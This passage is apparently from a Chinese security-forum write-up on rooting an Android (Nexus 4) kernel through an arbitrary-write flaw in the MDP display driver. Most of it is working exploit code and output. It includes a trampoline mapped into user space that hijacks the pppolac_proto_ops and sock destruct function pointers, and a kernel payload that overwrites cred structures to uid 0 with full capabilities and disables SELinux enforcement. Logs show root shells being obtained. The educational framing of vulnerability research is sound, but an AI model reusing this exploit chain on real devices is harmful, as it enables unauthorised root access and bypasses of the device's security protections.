提權思路:覆蓋內核里一個結構體方法的指針,將其地址指向用戶態的代碼commit_creds(prepare_kernel_cred(0)),最後再調用該結構體的方法完成提權。前提是我們知道commit_creds和 prepare_kernel_cred等函數地址。我們通過先patch掉kptr_restrict為我們構造能泄露內核函數地址的環境。
我們這裡是先找到「pppolac_proto_ops」結構中找到包含函數指針的位置。這是內核中用於註冊與PPP_OLAC協議的套接字交互時使用的函數指針的結構。這種結構是合適的,因為:
1.PPP_OLAC協議沒有被廣泛使用,因此不需要立即恢復被覆蓋的函數指針。
2.除了創建套接字的能力之外,打開PPP_OLAC套接字不需要特殊許可權
結構本身是靜態的(因此存儲在BSS中),並且沒有標記為「const」,因此是可寫的。
//step4: Allocating the trampoline and Write shellcode to addr
trampoline = (uint32_t*)mmap((void*)TRAMPOLINE_ADDRESS, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);//0x00100000
if (trampoline == NULL) {
perror("[-] Failed to allocate trampoline");
return -errno;
}
printf("[+] Allocated trampoline
");
printf("[i] Attempting to execute kernel_payload at 0x%08x
", (uint32_t)&kernel_payload);
//Writing to the trampoline
trampoline[0] = 0xE51FF004; //LDR PC, [addr]
//addr:
trampoline[1] = (uint32_t)&kernel_payload;
//Flushing the cache (to make sure the I-cache doesnt contain leftovers)
cacheflush((uint32_t)trampoline & (~0xFFF), 0x1000, 0);
// mdp_lut_i will switch between 0 and 1 at each call
mdp_lut_i = !mdp_lut_i;
write_where(mdp_fd, mdp_lut_i, mdp_base, (uint32_t)trampoline, PPPOLAC_PROTO_OPS_RELEASE);
因為我們只可控後24位,我們在0x00100000這個用戶空間地址構造跳到payload的跳板trampoline,並將跳板trampoline的地址寫到pppolac_proto_ops結構體的地址PPPOLAC_PROTO_OPS_RELEASE上。當我們執行socket. close()函數時jump到跳板里執行我們提權的payload。
shell@mako:/ $ /data/local/tmp/pwn
prepare_kernel_cred=0xc008eff0,commit_creds= 0xc008eab4
[+] Opened mdp driver
[i] Trying to leak the value of MDP_BASE
[i] Got mdp_base 0xf0100000 res 1
[+] Got mdp_base: 0xf0100000
[i] Trying to leak the current value of mdp_lut_i
[+] Successfully mapped dropzone. Address: 0x10000000, Size: 0x00010000
[i] Trying to write 0x00dabeef at 0x10000000
[i] Target cmap_start: 0x07f9ae00
[i] Expected VM target address: 0x10000000
[i] transp 0 red da blue be green ef
[+] Wrote 0x00dabeef to 0x10000000
[+] Found modification: 0x00dabeef at offset: 0x400 (address: 0x10000400)
[i] delta write 00000400
[+] Got mdp_lut_i: 0x1
[+] Allocated trampoline
[i] Attempting to execute kernel_payload at 0xb6f23df5
[i] Trying to write 0x00100000 at 0xc0eaf3a4
[i] Target cmap_start: 0x34346ae9
[i] Expected VM target address: 0xc0eaf3a4
[i] transp 0 red 10 blue 0 green 0
[+] Wrote 0x00100000 to 0xc0eaf3a4
[+] Opened PPPOLAC socket: 7
[+] Executed function
[+] got r00t!
shell@mako:/ # id
uid=0(root) gid=0(root) context=u:r:kernel:s0
2.3 修改task_struct結構體進行提權(pThreadInfo->addr_limit=0xffffffff)
這個利用代碼借鑒的ggggwwww大佬的這篇文章讓子彈繼續飛-如何利用一個漏洞代碼root更多手機 總體利用流程如下:
建立netlink服務監聽。
通過inet_diag的netlink通信,從內核返回的cookie中獲得sk結構體的地址。
利用任意地址寫的能力,修改sk中destruct的函數指針。使其指向我們的shellcode地址。
關閉第一步建立的socket,觸發shellcode的調用,獲得root許可權。
其中有兩點值得學習:
32位系統上sock信息泄露漏洞和修改task_struct的方式。
一:inet_diag信息泄漏問題
在inet_diag調用會返回cookie,該cookie數組包括了sk的低32位地址及高32地址。對於32位的系統來說,cookie[0]泄漏了sock結構的地址。
而每個socket數據結構都有一個sock數據結構成員,sock是對socket的擴充,兩者一一對應。
struct sock {
__u32 daddr; // dip,Foreign IPv4 addr
__u32 rcv_saddr; // 記錄套接字所綁定的地址
__u16 dport; // dport
unsigned short num; /* 套接字所在的埠號
…
struct proto *prot; // 例如指向tcp_prot
void (*state_change)(struct sock *sk);
void (*data_ready)(struct sock *sk,int bytes);
void (*write_space)(struct sock *sk);
void (*error_report)(struct sock *sk);
int (*backlog_rcv) (struct sock *sk, struct sk_buff *skb);
void (*destruct)(struct sock *sk);
};
當socket被關閉時destruct指針指向的函數將被執行。我們通過sock地址和destruct的偏移找到destruct函數指針的地址。
int sock_offset=get_destruct_offset(versionCode);
if(sock_offset>=0)
{
target += sock_offset;
printf("[*] sock_destruct address: %lx
", target);
}
二:修改task_struct的方式可以總結如下
通過shellcode的臨時變數,泄漏sp地址。
通過sp地址和thread_info共用4K/8K空間的特點定位到thread_info地址。
判斷thread_info的addr_limit的地址範圍,確定task_struct的位置。
判斷task_struct中的comm是否為進程名。
判斷cred和real_cred是否在內核地址範圍而且相關參數相等,定位到cred和read_cred的偏移。
修改cred和read_cred相關參數的值。
判斷是否是selinux,如果是定位到tsec結構體的地址。
修改tsec結構體的參數的值。Bypass seliux。
int kernel_payload()
{
int v38; /* [sp+0h] [bp-60h]@1 */
int addrBase;
char szName[16] = "exploit";
int offset;
struct task_security_struct * tsec;
struct thread_info *pThreadInfo;
int ret = -1;
int searchLenth;
int isSelinux = 1;
mycred *my_cred;
mycred *my_real_cred;
addrBase = *(int *) ( ( (int) (&v38) & 0xFFFFE000) + 0xC);
unsigned long mySP = ( (unsigned long) (&v38) & 0xFFFFE000);/* 1. v38此種異或0xFFFFE000的方式,為什麼能泄漏sp地址??? */
pThreadInfo = (struct thread_info *) mySP;/* 2. mySP的地址為什麼等於thread_info地址?? */
if ( pThreadInfo->addr_limit != 0xbf000000 )/* addr_limit默認值為0xbf000000 */
return(19);
pThreadInfo->addr_limit = 0xffffffff; /* 修改pThreadInfo->addr_limit的值 */
if ( addrBase > 0xBFFFFFFF )
{
offset = 0;
while ( 1 )
{
addrBase += 4;
if ( !kmemcmp( addrBase, szName, 16 ) )
break;
++offset;
if ( offset == 0x600 )
{
return(18);
}
}
}else {
return(17);
}
my_cred = *(int *) (addrBase - 8);
my_real_cred = *(int *) (addrBase - 8 - 4);
searchLenth = 0;
while ( searchLenth < 0x20 )
{
if ( !my_cred || !my_real_cred
|| my_cred < 0xBFFFFFFF || my_real_cred < 0xBFFFFFFF
)
{
/* 2.6? */
addrBase -= 4;
my_cred = *(int *) (addrBase - 8);
my_real_cred = *(int *) (addrBase - 8 - 4);
}else
break;
searchLenth++;
}
if ( searchLenth == 0x20 )
{
return(20);
}
/*
* fuck!! where is my cred???
* 6.修改cred和read_cred相關參數的值。
*/
my_cred->uid = 0;
my_cred->gid = 0;
my_cred->suid = 0;
my_cred->sgid = 0;
my_cred->egid = 0;
my_cred->euid = 0;
my_cred->fsgid = 0;
my_cred->fsuid = 0;
my_cred->securebits = 0;
my_cred->cap_bset.cap[0] = -1;
my_cred->cap_bset.cap[1] = -1;
my_cred->cap_inheritable.cap[0] = -1;
my_cred->cap_inheritable.cap[1] = -1;
my_cred->cap_permitted.cap[0] = -1;
my_cred->cap_permitted.cap[1] = -1;
my_cred->cap_effective.cap[0] = -1;
my_cred->cap_effective.cap[1] = -1;
my_real_cred->uid = 0;
my_real_cred->gid = 0;
my_real_cred->suid = 0;
my_real_cred->sgid = 0;
my_real_cred->egid = 0;
my_real_cred->euid = 0;
my_real_cred->fsgid = 0;
my_real_cred->fsuid = 0;
my_real_cred->securebits = 0;
my_real_cred->cap_bset.cap[0] = -1;
my_real_cred->cap_bset.cap[1] = -1;
my_real_cred->cap_inheritable.cap[0] = -1;
my_real_cred->cap_inheritable.cap[1] = -1;
my_real_cred->cap_permitted.cap[0] = -1;
my_real_cred->cap_permitted.cap[1] = -1;
my_real_cred->cap_effective.cap[0] = -1;
my_real_cred->cap_effective.cap[1] = -1;
/* 7. 判斷是否是selinux,如果是定位到tsec結構體的地址。 */
if ( isSelinux )
{
/* 8.修改tsec結構體的參數的值。Bypass seliux。 */
tsec = my_cred->security;
if ( tsec && tsec > 0xBFFFFFFF )
{
tsec->sid = 1;
tsec->exec_sid = 1;
ret = 151;
}else {
tsec = (struct task_security_struct *) (*(int *) (0x10 + (int) &my_cred->security) );
if ( tsec && tsec > 0xBFFFFFFF )
{
tsec->sid = 1;
tsec->exec_sid = 1;
ret = 152;
}
}
tsec = my_real_cred->security;
if ( tsec && tsec > 0xBFFFFFFF )
{
tsec->sid = 1;
tsec->exec_sid = 1;
ret = 153;
}else {
tsec = (struct task_security_struct *) (*(int *) (0x10 + (int) &my_real_cred->security) );
if ( tsec && tsec > 0xBFFFFFFF )
{
tsec->sid = 1;
tsec->exec_sid = 1;
ret = 154;
}
}
}else {
ret = 16;
}
/* commit_creds(prepare_kernel_cred(0)); */
return(ret);
}
跑exploit的結果如下:這裡我們發現已經修改過task_struct結構的進程的id,為何groups依然為1003(graphics)?
1|shell@mako:/ $ /data/local/tmp/exploit
prepare_kernel_cred=0xc008eff0,commit_creds= 0xc008eab4
[*] Opening TCP socket...
[*] Getting socket address from INET_DIAG...
[*] versionCode=34,szRelease=3.4.0-perf-g60eefcd,szVersion=#1 SMP PREEMPT Fri Oct 10 18:28:38 UTC 2014
[*] sock_destruct address: ebdc8198
[+] Opened mdp driver
[i] Trying to leak the value of MDP_BASE
[i] Got mdp_base 0xf0100000 res 1
[+] Got mdp_base: 0xf0100000
[i] Trying to leak the current value of mdp_lut_i
[+] Successfully mapped dropzone. Address: 0x10000000, Size: 0x00010000
[i] Trying to write 0x00dabeef at 0x10000000
[i] Target cmap_start: 0x07f9ae00
[i] Expected VM target address: 0x10000000
[i] transp 0 red da blue be green ef
[+] Wrote 0x00dabeef to 0x10000000
[+] Found modification: 0x00dabeef at offset: 0x400 (address: 0x10000400)
[i] delta write 00000400
[+] Got mdp_lut_i: 0x1
[+] Allocated trampoline
[i] Trying to write 0x00100000 at 0xebdc8198
[i] Target cmap_start: 0x3ef0ce66
[i] Expected VM target address: 0xebdc8198
[i] transp 0 red 10 blue 0 green 0
[+] Wrote 0x00100000 to 0xebdc8198
[+] Execute Shellcode[README](media/15446227228942/README.md)
uid = 0
gid = 0
ROOT SUCCESS
shell@mako:/ # id
uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:kernel:s0
正常情況下sh和有root許可權的init進程的cred結構值如下:
利用代碼
0x04 總結
到此,本菜雞終於完成了一次漏洞補丁分析到利用提權的過程。
1.了解了內核崩潰的三種類型,和查看崩潰日誌的方法
2.學習了patch掉kptr_restrict的讀取內核符號里的函數的方法。(當然還有利用讀寫漏洞搜索內核,查找「%pK %c %s
」,並Patch成「%p %c %s
」等方案繞過kptr_restrict)
3.三種常見的提權的方案,並在未開啟PXN的條件完成了兩種利用。
0x05 參考
https://android.googlesource.com/kernel/msm/+/65e9273c22264162c85351c5c29c94ff7ee2285e/drivers/video/msm/mdp.c ?
android.googlesource.com
[原創][原創][原創]讓子彈繼續飛-如何利用一個漏洞代碼root更多手機-『Android安全』-看雪安全論壇 ?
bbs.pediy.comAndroid系統漏洞提權 | DroidSec | Android安全中文站 ?
www.droidsec.cnAndroid內核sys_setresuid() Patch提權(CVE-2012-6422) ?
www.cnblogs.com
【技術分享】Android內核漏洞利用技術實戰:環境搭建&棧溢出實戰 - 安全客,安全資訊平台 ?
www.anquanke.com
原文作者:endlif
原文鏈接:https:// bbs.pediy.com/thread-24 8498.htm
轉載請註明:轉自看雪學院
更多閱讀:
1、[原創]hctf 2018 部分pwn writeup
2、[原創]看雪CTF.TSRC 2018 團隊賽 第九題 諜戰
3、[原創](Android Root)CVE-2017-7533 漏洞分析和復現
4、[原創]關於CVE-2017-8890的一點細節
推薦閱讀: